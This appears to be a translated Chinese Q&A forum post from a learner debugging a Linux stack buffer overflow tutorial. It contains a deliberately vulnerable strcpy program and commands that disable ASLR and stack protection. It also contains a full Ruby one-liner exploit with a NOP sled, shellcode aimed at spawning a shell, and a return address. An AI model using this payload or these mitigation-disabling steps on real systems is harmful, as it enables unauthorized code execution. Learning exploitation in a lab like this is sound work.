我正在观看有关如何在 linux 上进行缓冲区溢出的教程。在我尝试运行最后一件事之前,一切都运行良好。我在谷歌上搜索和搜索,但没有发现任何有用的东西。
我的缓冲区溢出可利用的 C 代码 (exploitable.c):
#include <string.h>
int main(int argc, char** argv)
{
char buf[500];
strcpy(buf, argv[1]);
return 0;
}
我是如何编译的:
- 我删除了 va_space 的随机化(不太确定它的作用,但我知道它允许缓冲区溢出):
echo 0 > /proc/sys/kernel/randomize_va_space
- 我使用这个命令编译:
gcc -fno-stack-protector -mpreferred-stack-boundary=2 -o exploitable exploitable.c
我使用 gdb 运行它,发现这个命令应该给我一个
/bin/bash
shell:./exploitable $(ruby -e 'print "\x90" * 212 + "\xbb\xac\x02\x93\xb0\xda\xdb\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x0e\x31\x5a\x15\x83\xc2\x04\x03\x5a\x11\xe2\x59\x33" + "\x5a\x81\x7a\xc3\xbf\x52\xd8\xe1\xc0\xf9\x2b\xa2\x59\xaf" + "\x4d\x3a\x77\x33\x18\x5d\xef\x9c\x69\xca\xf0\x8a\xa2\x68" + "\x98\x24\x35\x8f\x08\x51\x4f\x50\xad\xa1\x60\x32\xc4\xcf" + "\x51\xd0\x77\x63\xc5\x14\x2f\xd0\x9c\xf4\x02\x56" + "\x90" * 210 + "\x44\xf1\xff\xbf"')
但是,这不起作用。
在 gdb 中运行它,我发现它$eip
被正确设置为0xbffff144
(我第一轮 nops 的中间)。出于某种原因,这给了我一个 SIGSEGV 错误:
我不知道我是否做错了什么,或者是否还有一个故障保险装置我必须关闭。